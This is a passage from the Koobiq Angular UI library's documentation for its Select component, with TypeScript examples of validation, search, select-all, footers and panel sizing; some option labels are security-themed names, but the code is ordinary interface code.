    readonly options = Array.from({ length: 5 }).map((_, i) => `Option #${i}`);
    readonly selected = this.options[0];
}
```

#### Validation

**Example: Select validation** (`select-validation`)

```ts select-validation-example.ts
import { afterNextRender, ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, ReactiveFormsModule, Validators } from '@angular/forms';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-validation-example',
    imports: [KbqSelectModule, ReactiveFormsModule],
    template: `
        <div class="kbq-form-vertical layout-column">
            <div class="kbq-form__label">Valid</div>
            <kbq-form-field>
                <kbq-select placeholder="Placeholder">
                    @for (option of options; track option) {
                        <kbq-option [value]="option">{{ option }}</kbq-option>
                    }
                </kbq-select>
            </kbq-form-field>
        </div>

        <div class="kbq-form-vertical layout-column">
            <div class="kbq-form__label">Invalid</div>
            <kbq-form-field>
                <kbq-select placeholder="Placeholder" [formControl]="invalidControl">
                    <kbq-option [value]="null">None</kbq-option>
                    @for (option of options; track option) {
                        <kbq-option [value]="option">{{ option }}</kbq-option>
                    }
                </kbq-select>
            </kbq-form-field>
        </div>
    `,
    styles: `
        :host {
            display: flex;
            gap: var(--kbq-size-l);
        }

        .kbq-form-vertical {
            width: 50%;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SelectValidationExample {
    readonly options = Array.from({ length: 10 }).map((_, i) => `Option #${i}`);
    readonly invalidControl = new FormControl(null, Validators.required);

    constructor() {
        afterNextRender(() => {
            this.invalidControl.markAsTouched();
            this.invalidControl.updateValueAndValidity();
        });
    }
}
```

#### Inactive states

**Example: Select disabled** (`select-disabled`)

```ts select-disabled-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-disabled-example',
    imports: [KbqSelectModule],
    template: `
        <div class="example-row">
            <div class="kbq-form__label">For select</div>
            <kbq-form-field>
                <kbq-select placeholder="Placeholder" disabled [value]="selected">
                    @for (option of options; track option) {
                        <kbq-option [value]="option">{{ option }}</kbq-option>
                    }
                </kbq-select>
            </kbq-form-field>
        </div>

        <div class="example-row">
            <div class="kbq-form__label">For options</div>
            <kbq-form-field>
                <kbq-select placeholder="Placeholder" [value]="selected">
                    @for (option of options; track option) {
                        <kbq-option [disabled]="$odd" [value]="option">{{ option }}</kbq-option>
                    }
                </kbq-select>
            </kbq-form-field>
        </div>

        <div class="example-row">
            <div class="kbq-form__label">For optgroup</div>
            <kbq-form-field>
                <kbq-select placeholder="Placeholder" [value]="selected">
                    @for (group of groups; track group; let odd = $odd) {
                        <kbq-optgroup [label]="group" [disabled]="odd">
                            @for (option of options; track option) {
                                <kbq-option [value]="option">{{ option }}</kbq-option>
                            }
                        </kbq-optgroup>
                    }
                </kbq-select>
            </kbq-form-field>
        </div>
    `,
    styles: `
        .example-row {
            display: flex;
            align-items: center;
            justify-content: flex-end;
            width: 440px;
            margin: 0 auto;
            padding: var(--kbq-size-l);
            gap: var(--kbq-size-xxl);
        }

        .kbq-form-field {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SelectDisabledExample {
    readonly options = Array.from({ length: 5 }).map((_, i) => `Option #${i}`);
    readonly groups = Array.from({ length: 3 }).map((_, i) => `Group #${i}`);
    readonly selected = this.options[0];
}
```

#### Reset selected value

The reset control clears everything except disabled options. Change that with the `clearPredicate` attribute: `[clearPredicate]="clearEverything"` and `clearEverything = () => true` clear the disabled ones too.

**Example: Select cleaner with disabled options** (`select-cleaner-with-disabled`)

```ts select-cleaner-with-disabled-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqOptionBase } from '@koobiq/components/core';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-cleaner-with-disabled-example',
    imports: [KbqSelectModule],
    template: `
        <kbq-form-field>
            <kbq-select multiple placeholder="Kept" [value]="selected">
                <kbq-cleaner />
                @for (option of options; track option.value) {
                    <kbq-option [value]="option.value" [disabled]="option.disabled">{{ option.value }}</kbq-option>
                }
            </kbq-select>
        </kbq-form-field>

        <kbq-form-field>
            <kbq-select multiple placeholder="Cleared" [value]="selected" [clearPredicate]="clearEverything">
                <kbq-cleaner />
                @for (option of options; track option.value) {
                    <kbq-option [value]="option.value" [disabled]="option.disabled">{{ option.value }}</kbq-option>
                }
            </kbq-select>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            gap: var(--kbq-size-l);
            padding: var(--kbq-size-l);
        }

        .kbq-form-field {
            width: 240px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SelectCleanerWithDisabledExample {
    readonly options = Array.from({ length: 4 }).map((_, i) => ({
        value: `Option #${i}`,
        disabled: i === 1
    }));

    readonly selected = this.options.map(({ value }) => value);

    /** Opts out of the default, which leaves the disabled options selected. */
    readonly clearEverything = (_option: KbqOptionBase) => true;
}
```

#### Multiple selection

Whichever order the values are picked in, the form control receives them in panel order — the order the options are declared in. Pass a `sortComparator` to order them differently.

**Example: Select multiple** (`select-multiple`)

```ts select-multiple-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-multiple-example',
    imports: [KbqSelectModule],
    template: `
        <kbq-form-field>
            <kbq-select multiple placeholder="Placeholder" [value]="selected">
                @for (option of options; track option) {
                    <kbq-option [value]="option">{{ option }}</kbq-option>
                }

                <kbq-cleaner />
            </kbq-select>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            padding: var(--kbq-size-l);
        }

        .kbq-form-field {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SelectMultipleExample {
    readonly options = Array.from({ length: 10 }).map((_, i) => `Option #${i}`);
    readonly selected = this.options.slice(0, 3);
}
```

#### Multiple selection (multiline)

**Example: Select with multiline matcher** (`select-with-multiline-matcher`)

```ts select-with-multiline-matcher-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-with-multiline-matcher-example',
    imports: [
        KbqSelectModule
    ],
    template: `
        <div>
            <kbq-form-field>
                <kbq-select placeholder="Placeholder" [multiline]="true" [value]="selected" [panelWidth]="400">
                    @for (option of options; track option) {
                        <kbq-option [value]="option">{{ option }}</kbq-option>
                    }
                    <kbq-cleaner />
                </kbq-select>
            </kbq-form-field>
        </div>
    `,
    styles: [
        `
            :host {
                display: flex;
                flex-direction: column;
                align-items: center;
            }

            .kbq-form-field {
                width: 320px;
            }

            div:not(:last-child) {
                margin-bottom: var(--kbq-size-xl);
            }
        `
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SelectWithMultilineMatcherExample {
    readonly options = Array.from({ length: 10 }).map((_, i) => `Option ${i}`);
    selected: string[] = [this.options[0], this.options[1], this.options[2], this.options[3]];
}
```

A multiline trigger grows with every selected option, so a long selection can make it taller than the dropdown
itself. When that happens and the panel fits neither below the trigger nor above it, the panel is anchored to
the trigger's first row and drawn over the rest of them, opening one gap below that row. The first row, the
chevron and the cleaner stay visible and clickable.

#### Customizing tags

In multiple selection mode the markup of every tag can be replaced with your own. Declare an `<ng-template #kbqSelectTagContent>` inside `<kbq-select>` — it is rendered once per selected option and receives the option as `$implicit` and the `KbqSelect` instance as `select`:

```html
<ng-template #kbqSelectTagContent let-option let-select="select">
    <kbq-tag [selectable]="false" [disabled]="option.disabled || select.disabled">
        {{ option.viewValue }}
        @if (!option.disabled && !select.disabled) {
            <i kbq-icon="kbq-xmark-s_16" kbqTagRemove (click)="select.onRemoveMatcherItem(option, $event)"></i>
        }
    </kbq-tag>
</ng-template>
```

The template replaces the built-in markup completely, so the color, the disabled state and the remove control have to be reproduced by hand. Keep `<kbq-tag>` as the root element: the “+N” counter of hidden tags measures the rendered `kbq-tag` elements, and any other root element breaks it.

#### Grouping values

**Example: Select groups** (`select-groups`)

```ts select-groups-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-groups-example',
    imports: [KbqSelectModule],
    template: `
        <kbq-form-field>
            <kbq-select [value]="selected">
                @for (group of groups; track group) {
                    <kbq-optgroup [label]="group">
                        @for (option of options; track option) {
                            <kbq-option [value]="option">{{ option }}</kbq-option>
                        }
                    </kbq-optgroup>
                }
            </kbq-select>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            padding: var(--kbq-size-l);
        }

        .kbq-form-field {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SelectGroupsExample {
    readonly groups = Array.from({ length: 3 }).map((_, i) => `Group #${i}`);
    readonly options = Array.from({ length: 5 }).map((_, i) => `Option #${i}`);
    readonly selected = this.options[0];
}
```

#### Filling a list of values

##### List with search

Use search when the list has more than 10 items. Search splits a multi-word query into parts and searches for them independently, trims leading and trailing spaces, is case-insensitive, and folds diacritics. The algorithm is described in the [Smart search guide](https://koobiq.io/en/other/search-smart.md).

**Example: Select search** (`select-search`)

```ts select-search-example.ts
import { AsyncPipe } from '@angular/common';
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { createSearchPredicate, KbqHighlightModule, tokenizeSearchQuery } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqSelectModule, kbqSelectOptionsProvider } from '@koobiq/components/select';
import { map, startWith } from 'rxjs/operators';

@Component({
    selector: 'select-search-example',
    imports: [
        KbqSelectModule,
        KbqIconModule,
        KbqInputModule,
        AsyncPipe,
        ReactiveFormsModule,
        KbqHighlightModule
    ],
    template: `
        <kbq-form-field>
            <kbq-select multiline placeholder="Placeholder">
                <kbq-form-field noBorders kbqSelectSearch>
                    <i kbq-icon="kbq-magnifying-glass_16" kbqPrefix></i>
                    <input kbqInput type="text" [formControl]="searchControl" />
                    <kbq-cleaner />
                </kbq-form-field>

                <div kbq-select-search-empty-result>Nothing found</div>

                @for (option of filteredOptions | async; track option) {
                    <kbq-option [value]="option">
                        <span [innerHTML]="option | kbqHighlightBackground: searchTokens : true"></span>
                    </kbq-option>
                }
            </kbq-select>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            padding: var(--kbq-size-l);
        }

        .kbq-form-field-type-select {
            width: 320px;
        }
    `,
    providers: [
        kbqSelectOptionsProvider({ searchMinOptionsThreshold: 0 })
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SelectSearchExample {
    readonly options = [
        '10.125.123.0/24 - all',
        '10.125.10.0/24 - admin',
        '10.125.11.0/24 - guest',
        '172.16.0.0/16 - office',
        '192.168.1.0/24 - lab',
        '192.168.1.0/24 - Йота',
        'Café Wi-Fi guest network'
    ];

    readonly searchControl = new FormControl();
    readonly filteredOptions = this.searchControl.valueChanges.pipe(
        startWith(''),
        map((query) => this.search(query))
    );

    protected searchTokens: string[] = [];

    private search(query: string | null): string[] {
        this.searchTokens = tokenizeSearchQuery(query ?? '');

        return this.options.filter(createSearchPredicate(query ?? ''));
    }
}
```

##### Select all

In multiple selection mode all the values can be selected at once. The feature is off by default — turn it on with the `selectAll` attribute, and a master checkbox appears above the list.

```html
<kbq-select multiple selectAll placeholder="Placeholder">
    <kbq-option [value]="option">{{ option }}</kbq-option>
</kbq-select>
```

The checkbox has three states: unchecked when nothing is selected, indeterminate when only some options are, and checked when every option is. Clicking it while indeterminate selects the remaining options rather than clearing the selection. The label comes from the locale (`select.selectAll`).

Disabled options are ignored — they are neither selected nor deselected, and the checkbox state reflects only the options the user can actually toggle. When searching, the checkbox acts only on the results that match the query. Every action on the row emits a single `selectionChange` for the whole batch, followed by `onSelectAll`.

Not supported together with `withVirtualScroll` or `showPreselectedValues`: the row is not rendered when either is on, since "select all" can only act on the options currently rendered as `KbqOption`, not on the full virtualized or preselected data set.

**Example: Select all** (`select-select-all`)

```ts select-select-all-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-select-all-example',
    imports: [KbqSelectModule],
    template: `
        <kbq-form-field>
            <kbq-select multiple selectAll placeholder="Placeholder" [value]="selected">
                <kbq-cleaner />

                @for (option of options; track option) {
                    <kbq-option [value]="option">{{ option }}</kbq-option>
                }
            </kbq-select>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            padding: var(--kbq-size-l);
        }

        .kbq-form-field-type-select {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SelectSelectAllExample {
    readonly options = Array.from({ length: 6 }).map((_, i) => `Option ${i + 1}`);
    readonly selected = [this.options[1]];
}
```

Once everything is selected, the control can show a label of its own instead of literally listing the selected options. Project a `<kbq-select-trigger>` while `allOptionsSelected` is `true` — without it the select falls back to its default trigger. Use the element (or an element carrying the `kbq-select-trigger` attribute) rather than an `<ng-container>`: the trigger is stretched to the full width of the control by a rule on that element, and an `ng-container` leaves nothing for it to apply to, so the label and the arrow end up bunched together.

**Example: Select all label** (`select-select-all-label`)

```ts select-select-all-label-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-select-all-label-example',
    imports: [KbqSelectModule],
    template: `
        <kbq-form-field>
            <kbq-select #select="kbqSelect" multiple selectAll placeholder="Placeholder" [value]="selected">
                <!-- Projected only while everything is selected, so the rest of the time the select falls
                     back to its default trigger and lists the selected options as usual. -->
                @if (select.allOptionsSelected) {
                    <kbq-select-trigger>All options</kbq-select-trigger>
                }

                @for (option of options; track option) {
                    <kbq-option [value]="option">{{ option }}</kbq-option>
                }
            </kbq-select>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            padding: var(--kbq-size-l);
        }

        .kbq-form-field-type-select {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SelectSelectAllLabelExample {
    readonly options = Array.from({ length: 6 }).map((_, i) => `Option ${i + 1}`);
    readonly selected = [...this.options];
}
```

##### Selecting everything from the keyboard

`Ctrl`/`Cmd` + `A` selects all options in multiple selection mode. By default a repeated press keeps them selected; `selectAllToggle` makes it deselect them instead. With `selectAll` the shortcut always toggles both ways, so it and the master checkbox cannot disagree.

Inside a non-empty search field the first press selects the text of the field; the next one falls through to the options. The behaviour can be replaced wholesale with the `selectAllHandler` input — `onSelectAll` is then not emitted for the shortcut, as the handler owns the behaviour.

##### Search in Select for short lists

When there are only a few options, the search can be hidden automatically. This feature is off by default.
Use the `searchMinOptionsThreshold` attribute to configure it.

Possible values:

- `'auto'` – hides the search if there are fewer than 10 options (the default threshold).
- `<number>` – hides the search if there are fewer options than the specified number.

To configure this for all selects in a module with consistent display rules, use the `kbqSelectOptionsProvider` provider:

```ts
import { kbqSelectOptionsProvider } from '@koobiq/components/select';

@NgModule({
    providers: [
        kbqSelectOptionsProvider({ searchMinOptionsThreshold: 'auto' })
    ]
})
```

##### Footer

You can place auxiliary elements in the footer: actions, links, hints. It stays put while the list scrolls under it.

An action is drawn as a row of the drop-down menu rather than as a form button: add `kbq-select-footer-item` to a native `button` or `a`, and it lines up with the options above it. Any click inside the footer closes the panel.

With the panel open, `Tab` moves focus into the footer, visiting each interactive element in turn — an action row or a link alike — and `Shift + Tab` walks back the same way. Disabled controls are skipped, whether they carry the `disabled` attribute or the `kbq-disabled` class an `a` has to use instead. Once the controls run out, the next `Tab` closes the panel and returns focus to the field, as `Esc` does from anywhere in the footer.

**Example: Select footer** (`select-footer`)

```ts select-footer-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqLink } from '@koobiq/components/link';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-footer-example',
    imports: [
        KbqSelectModule,
        KbqIconModule,
        KbqLink
    ],
    template: `
        <div class="example-row">
            <div class="kbq-form__label">Button</div>
            <kbq-form-field class="example-select-field">
                <kbq-select [value]="selected">
                    @for (option of options; track option) {
                        <kbq-option [value]="option">{{ option }}</kbq-option>
                    }
                    <kbq-select-footer>
                        <button type="button" kbq-select-footer-item>
                            <i kbq-icon="kbq-plus_16"></i>
                            Button
                        </button>
                    </kbq-select-footer>
                </kbq-select>
            </kbq-form-field>
        </div>

        <div class="example-row">
            <div class="kbq-form__label">Caption</div>
            <kbq-form-field class="example-select-field">
                <kbq-select [value]="selected">
                    @for (option of options; track option) {
                        <kbq-option [value]="option">{{ option }}</kbq-option>
                    }
                    <kbq-select-footer class="example-select-footer-with-caption">Caption ⌥+⌘+F</kbq-select-footer>
                </kbq-select>
            </kbq-form-field>
        </div>

        <div class="example-row">
            <div class="kbq-form__label">Link</div>
            <kbq-form-field class="example-select-field">
                <kbq-select [value]="selected">
                    @for (option of options; track option) {
                        <kbq-option [value]="option">{{ option }}</kbq-option>
                    }
                    <kbq-select-footer>
                        <a href="https://koobiq.io/en/components/select" target="_blank" kbqLink external>Link</a>
                    </kbq-select-footer>
                </kbq-select>
            </kbq-form-field>
        </div>
    `,
    styles: `
        .example-row {
            display: flex;
            align-items: center;
            justify-content: flex-end;
            gap: var(--kbq-size-xxl);
            width: 400px;
            margin: 0 auto;
            padding: var(--kbq-size-l);
        }

        .example-select-field {
            width: 320px;
        }

        .example-select-footer-with-caption {
            color: var(--kbq-foreground-contrast-secondary);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SelectFooterExample {
    // Enough options to overflow the panel's default 256px — exactly eight rows fit — so the footer is
    // seen doing its job: staying put while the list scrolls under it.
    protected readonly options = Array.from({ length: 10 }).map((_, i) => `Option #${i}`);
    protected readonly selected = this.options[0];
}
```

#### Select height

By default, the maximum height of the list is 256px. When there are many options, the drop-down menu becomes scrollable.

You can customize the height if needed. For example, in a normal menu, 7-8 items are visible. If there are 10 options to choose from, you can increase the height of the list and show all the items without hiding a small part under the scroll. Use the `panelMaxHeight` attribute with a value in pixels.

**Example: Select height** (`select-height`)

```ts select-height-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-height-example',
    imports: [KbqSelectModule],
    template: `
        <kbq-form-field>
            <kbq-label>panelMaxHeight</kbq-label>
            <kbq-select [panelMaxHeight]="500" [(value)]="value">
                @for (option of options; track option) {
                    <kbq-option [value]="option">{{ option }}</kbq-option>
                }
            </kbq-select>
        </kbq-form-field>

        <kbq-form-field>
            <kbq-label>--kbq-select-panel-size-max-height</kbq-label>
            <kbq-select [panelClass]="'example-select-panel-height'" [(value)]="themedValue">
                @for (option of options; track option) {
                    <kbq-option [value]="option">{{ option }}</kbq-option>
                }
            </kbq-select>
        </kbq-form-field>
    `,
    styles: `
        /* The same height set through the design token on a class passed via panelClass. */
        ::ng-deep .example-select-panel-height.kbq-select__panel {
            --kbq-select-panel-size-max-height: 500px;
        }

        :host {
            display: flex;
            flex-wrap: wrap;
            justify-content: center;
            gap: var(--kbq-size-l);
            padding: var(--kbq-size-l);
        }

        .kbq-form-field {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SelectHeightExample {
    readonly options = Array.from({ length: 10 }).map((_, i) => `Option #${i + 1}`);
    protected readonly value = model(this.options[0]);
    protected readonly themedValue = model(this.options[0]);
}
```

`panelMaxHeight` caps the scrollable option list. A search field and a footer are rendered beside the list, so they add to the total height of the panel. A value larger than the space left in the viewport is clipped by the overlay rather than scrolled. With `cdk-virtual-scroll-viewport` the value is an exact height rather than a cap, because a virtual scroller needs a definite height.

To set the height for all selects within a module that share common display rules, you can use the `kbqSelectOptionsProvider`.

```ts
import { kbqSelectOptionsProvider } from '@koobiq/components/select';

@NgModule({
    providers: [
        kbqSelectOptionsProvider({ panelMaxHeight: 400 })
    ]
})
```

For theming, the same height is available as the `--kbq-select-panel-size-max-height` token — set it on `:root` to change every panel at once, or on a class passed through `panelClass` to change a single one. The example above shows both approaches side by side.

#### Select width

##### Basic settings

The width of the select matches the select by default and expands if the list contains long text.

**Example: Select with panelWidth default** (`select-with-panel-width-default`)

```ts select-with-panel-width-default-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-with-panel-width-default-example',
    imports: [
        KbqSelectModule
    ],
    template: `
        <kbq-form-field>
            <kbq-select placeholder="Placeholder" [(value)]="valueFirst">
                @for (option of options; track option) {
                    <kbq-option [value]="option">{{ option }}</kbq-option>
                }
            </kbq-select>
        </kbq-form-field>

        <kbq-form-field>
            <kbq-select placeholder="Placeholder" [(value)]="valueSecond">
                @for (option of options; track option) {
                    <kbq-option [value]="option">{{ option }}</kbq-option>
                }
            </kbq-select>
        </kbq-form-field>
    `,
    styles: `
        .kbq-form-field:first-of-type {
            min-width: 68%;
            max-width: 68%;
        }

        .kbq-form-field:last-of-type {
            min-width: 32%;
            max-width: 32%;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-l layout-align-center-center layout-row layout-gap-l'
    }
})
export class SelectWithPanelWidthDefaultExample {
    readonly options = [
        'Use of Alternate Authentication Data',
        'Use of Command-Line Interpreters and Scripts',
        'Use of XSL Scripts',
        'System Owner or User Discovery',
        'Permission Group Discovery'
    ];

    protected readonly valueFirst = model(this.options[0]);
    protected readonly valueSecond = model(this.options[1]);
}
```

The select panel has a default `min-width` of 200px to align nicely with narrow selects. You can customize this by setting the `panelMinWidth` attribute with a numeric value.

**Example: Select with panelWidth min-width** (`select-with-panel-min-width`)

```ts select-with-panel-min-width-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-with-panel-min-width-example',
    imports: [
        KbqSelectModule
    ],
    template: `
        <kbq-form-field>
            <kbq-select [(value)]="value">
                @for (option of options; track option) {
                    <kbq-option [value]="option">{{ option }}</kbq-option>
                }
            </kbq-select>
        </kbq-form-field>
    `,
    styles: `
        .kbq-form-field {
            min-width: 104px;
            max-width: 104px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-l layout-align-center-center layout-row'
    }
})
export class SelectWithPanelMinWidthExample {
    readonly options = [
        'HUMINT',
        'HostIntel',
        'Intel',
        'OSINT',
        'Recon',
        'Scanning',
        'UserIntel'
    ];

    protected readonly value = model(this.options[0]);
}
```

To set the minimum width of select panel for all selects within a module that share common display rules, you can use the `kbqSelectOptionsProvider`.

```ts
import { kbqSelectOptionsProvider } from '@koobiq/components/select';

@NgModule({
    providers: [
        kbqSelectOptionsProvider({ panelMinWidth: 350 })
    ]
})
```

##### Additional options

If needed, the select width can be set to match the select width exactly. To do this, use the `panelWidth` attribute with the value `auto`. The panel still never gets narrower than `panelMinWidth` — set `panelMinWidth` to `0` if you want the panel to follow a narrow select exactly.

**Example: Select with panelWidth auto** (`select-with-panel-width-auto`)

```ts select-with-panel-width-auto-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-with-panel-width-auto-example',
    imports: [
        KbqSelectModule
    ],
    template: `
        <kbq-form-field>
            <kbq-select placeholder="Placeholder" [panelWidth]="'auto'" [(value)]="value">
                @for (option of options; track option) {
                    <kbq-option [value]="option">{{ option }}</kbq-option>
                }
            </kbq-select>
        </kbq-form-field>
    `,
    styles: `
        .kbq-form-field {
            width: 280px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-l layout-align-center-center layout-row'
    }
})
export class SelectWithPanelWidthAutoExample {
    readonly options = [
        'Active Scanning',
        'Business Intelligence Gathering',
        'Closed-Source Intelligence',
        'Open-Source Intelligence',
        'Network Infrastructure Recon',
        'User Reconnaissance',
        'Host Reconnaissance'
    ];

    protected readonly value = model(this.options[0]);
}
```

To set a fixed width of 400px for the select, use the `panelWidth` attribute with the value `400`. A fixed width is used exactly as given, so `panelMinWidth` is not applied to it.

**Example: Select with panelWidth fixed** (`select-with-panel-width-fixed`)

```ts select-with-panel-width-fixed-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-with-panel-width-fixed-example',
    imports: [
        KbqSelectModule
    ],
    template: `
        <kbq-form-field>
            <kbq-select placeholder="Placeholder" [panelWidth]="400" [(value)]="value">
                @for (option of options; track option) {
                    <kbq-option [value]="option">{{ option }}</kbq-option>
                }
            </kbq-select>
        </kbq-form-field>
    `,
    styles: `
        .kbq-form-field {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-l layout-align-center-center layout-row'
    }
})
export class SelectWithPanelWidthFixedExample {
    readonly options = [
        'Active Scanning',
        'Business Intelligence Gathering',
        'Closed-Source Intelligence',
        'Open-Source Intelligence',
        'Network Infrastructure Recon',
        'User Reconnaissance',
        'Host Reconnaissance'
    ];

    protected readonly value = model(this.options[1]);
}
```

A panel growing with long option text stops at 640px. The cap is soft — it never makes the panel narrower than the select, and never clamps an explicit `panelWidth`. Raise or lower it for one select with `panelMaxWidth`, or for the whole application by setting the `--kbq-panel-size-width-max` token on `:root` (it is shared with [Tree-select](https://koobiq.io/en/components/tree-select.md), [Autocomplete](https://koobiq.io/en/components/autocomplete.md) and [Dropdown](https://koobiq.io/en/components/dropdown.md)).

To configure the select width for all selects within a module according to unified display rules, use the `kbqSelectOptionsProvider`.

```ts
import { kbqSelectOptionsProvider } from '@koobiq/components/select';

@NgModule({
    providers: [
        kbqSelectOptionsProvider({ panelWidth: 'auto' })
    ]
})
```

#### Customized selection

The select can contain preselected values.

**Example: Selected preselected values** (`select-preselected-values`)

```ts select-preselected-values-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-preselected-values-example',
    imports: [KbqSelectModule, ReactiveFormsModule],
    template: `
        <kbq-form-field>
            <kbq-select placeholder="Placeholder" multiple [showPreselectedValues]="true" [formControl]="control">
                @for (option of options; track option) {
                    <kbq-option [value]="option">{{ option }}</kbq-option>
                }

                <kbq-cleaner />
            </kbq-select>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            padding: var(--kbq-size-l);
        }

        .kbq-form-field {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SelectPreselectedValuesExample {
    options = Array.from({ length: 15 }).map((_, i) => `Option #${i}`);
    control = new FormControl(['Option #101', 'Option #102']);
}
```

To make navigation easier, selected items can be pinned to the top of the list.

**Example: Selected prioritized selected** (`select-prioritized-selected`)

```ts select-prioritized-selected-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-prioritized-selected-example',
    imports: [KbqSelectModule],
    template: `
        <kbq-form-field>
            <kbq-select placeholder="Placeholder" multiple [(value)]="selected" (openedChange)="openedChange($event)">
                @for (option of options; track option) {
                    <kbq-option [value]="option">{{ option }}</kbq-option>
                }

                <kbq-cleaner />
            </kbq-select>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            padding: var(--kbq-size-l);
        }

        .kbq-form-field {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SelectPrioritizedSelectedExample {
    options = Array.from({ length: 15 }).map((_, i) => `Option #${i}`);
    selected = [this.options.at(-1)!, this.options.at(-2)!];

    constructor() {
        this.groupSelectedOptions();
    }

    openedChange(isOpened: boolean): void {
        if (!isOpened) this.groupSelectedOptions();
    }

    private groupSelectedOptions(): void {
        const unselected = this.options.filter((option) => !this.selected.includes(option));

        this.options = this.selected.concat(unselected);
    }
}
```

#### Optional icon

**Example: Select icon** (`select-icon`)

```ts select-icon-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-icon-example',
    imports: [KbqSelectModule, KbqIconModule],
    template: `
        <kbq-form-field>
            <i kbqPrefix color="contrast-fade" kbq-icon="kbq-globe_16"></i>
            <kbq-select [(value)]="selected">
                <kbq-select-matcher class="kbq-select__matcher">
                    <div class="kbq-select__match-container">
                        <span class="kbq-select__matcher-text">
                            {{ selected }}
                        </span>
                    </div>
                    <div class="kbq-select__arrow-wrapper">
                        <i class="kbq-select__arrow" color="contrast-fade" kbq-icon="kbq-chevron-down-s_16"></i>
                    </div>
                </kbq-select-matcher>
                @for (option of options; track option) {
                    <kbq-option [value]="option">{{ option }}</kbq-option>
                }
            </kbq-select>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            padding: var(--kbq-size-l);
        }

        .kbq-form-field {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SelectIconExample {
    readonly options = Array.from({ length: 5 }).map((_, i) => `Option #${i}`);
    selected = this.options[0];
}
```

#### Using cdk-virtual-scroll-viewport

Add `cdk-virtual-scroll-viewport` to your component template to display only visible elements and improve performance.

